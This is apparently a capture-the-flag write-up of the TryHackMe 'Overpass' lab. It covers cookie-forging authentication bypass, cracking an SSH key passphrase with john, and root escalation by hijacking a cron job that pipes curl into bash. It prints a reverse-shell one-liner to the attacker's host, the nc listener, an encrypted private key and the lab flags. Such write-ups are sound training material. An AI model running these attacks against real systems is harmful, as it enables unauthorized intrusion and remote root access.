> For the complete documentation index, see [llms.txt](https://kunalwalavalkar.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kunalwalavalkar.gitbook.io/write-ups/tryhackme/easy/overpass.md).

# Overpass

{% embed url="<https://tryhackme.com/room/overpass>" %}

##

## Task 1: Overpass

<figure><img src="/files/39Y4nRavLLzdcGUvZy92" alt=""><figcaption></figcaption></figure>

### Hack the machine and get the flag in user.txt

* Let's run a `nmap` scan against the machine.

```
$ nmap -sC -sV 10.10.114.146
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-06 18:09 IST
Nmap scan report for 10.10.114.146
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.31 seconds
```

* There are two open ports:

| Port | Service |
| ---- | ------- |
| 22   | ssh     |
| 80   | http    |

* Let's visit the machine using our browser.&#x20;

<figure><img src="/files/RwpOXbViQkwTcQOdFUMh" alt=""><figcaption></figcaption></figure>

* There is nothing of use here.
* Let's use `gobuster` to perform directory brute forcing.

```
$ gobuster dir -u http://10.10.114.146 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.114.146
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]
/admin                (Status: 301) [Size: 42] [--> /admin/]
/css                  (Status: 301) [Size: 0] [--> css/]
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
=============================================================== 
```

* Let's go to the `/admin` page.

<figure><img src="/files/KLkJWHgPXQb5g5xKJdC7" alt=""><figcaption></figcaption></figure>

* We can view the source code using `CTRL+U`.&#x20;

<figure><img src="/files/qHLzeS7VO1sJ75tU7z99" alt=""><figcaption></figcaption></figure>

* Let's view the `/login.js` file.&#x20;

<figure><img src="/files/4Ol9MuF25HMevU0Txtx3" alt=""><figcaption></figcaption></figure>

* In this code, the `login()` function is what is important.

{% code title="login.js" %}

```js
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}
```

{% endcode %}

* It takes the username and password from the user and then creates an object `cred` with them.
* It then checks if the response includes the phrase `Incorrect Credentials`.
* If it doesn't, then the session cookie is set to the received value and we are redirected to `/admin`.
* This is the bug we are going to exploit.
* Let's go to the `Developer Tools > Storage` tab.&#x20;

<figure><img src="/files/APIrHmJpELPqf7ohkIEf" alt=""><figcaption></figcaption></figure>

* We can create a new cookie using the `+` sign in the right hand corner.

<figure><img src="/files/WW3zBaTlQFsDfvIfCh7C" alt=""><figcaption></figcaption></figure>

* Let's refresh the page.

<figure><img src="/files/4mZ0UGtdpQ6SOh6ySjNo" alt=""><figcaption></figcaption></figure>

* We get an encrypted key. Let's save the key to a file called `rsa_key`.

```
$ cat rsa_key          
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----
```

* Next using `ssh2john.py`, to create a hash of the encrypted key.

```
$ /usr/share/john/ssh2john.py rsa_key > hash_key
```

* Let's now use `john` to crack the hash.

```
$ john hash_key                                             
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 3 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
james13          (rsa_key)     
1g 0:00:00:02 DONE 3/3 (2023-12-06 19:32) 0.4132g/s 585384p/s 585384c/s 585384C/s jamest1..james24
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

* Let's give the `rsa_key` file elevated permissions.

```
$ sudo chmod 700 rsa_key
```

* We can now login as `james` using the `rsa_key`.

```
$ ssh -i rsa_key james@10.10.114.146
Enter passphrase for key 'rsa_key': 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Dec  6 14:06:09 UTC 2023

  System load:  0.0                Processes:           88
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.114.146
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$ 
```

* We have to first check the contents in the directory.

```
james@overpass-prod:~$ ls
todo.txt  user.txt
```

* Let's cat the `user.txt` file.

```
james@overpass-prod:~$ cat user.txt 
thm{65c1aaf000506e56996822c6281e6bf7}
```

### Answer

```
thm{65c1aaf000506e56996822c6281e6bf7}
```

###

### Escalate your privileges and get the flag in root.txt

* There was another file, called `todo.txt`. Let's see what is in it.

```
james@overpass-prod:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website
```

* So we know that the builds are not going to the website.
* Let's check the CRON jobs.

```
james@overpass-prod:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
```

* We have to change the IP address that is mapped to `overpass.thm` to our IP address so that when the `curl overpass.thm/downloads/src/buildscript.sh | bash` command is run, it will run the file hosted by us.

<figure><img src="/files/Uze3cvtGqrtVPJtXC7i4" alt=""><figcaption></figcaption></figure>

* Now we have to create the necessary directories inside `/var/www/html/`.

```
$ mkdir downloads                
$ cd downloads         
$ mkdir src      
$ cd src      
```

* Now let's create a `buildscript.sh` file.
* We need to include a reverse shell in it.

<figure><img src="/files/LLs28763dicvBHGyvJdj" alt=""><figcaption></figcaption></figure>

* Let's restart `apache2`.

```\
sh -i >& /dev/tcp/10.17.48.138/9999 0>&1
```

* Finally we need to listen using `nc`. After a while, we will get the shell.

```
$ nc -nlvp 9999            
listening on [any] 9999 ...
connect to [10.17.48.138] from (UNKNOWN) [10.10.114.146] 49412
sh: 0: can't access tty; job control turned off
# 
```

* Let's read the `root.txt` file.

```
# ls
buildStatus
builds
go
root.txt
src
# cat root.txt  
thm{7f336f8c359dbac18d54fdd64ea753bb}
```

### Answer

```
thm{7f336f8c359dbac18d54fdd64ea753bb}
```
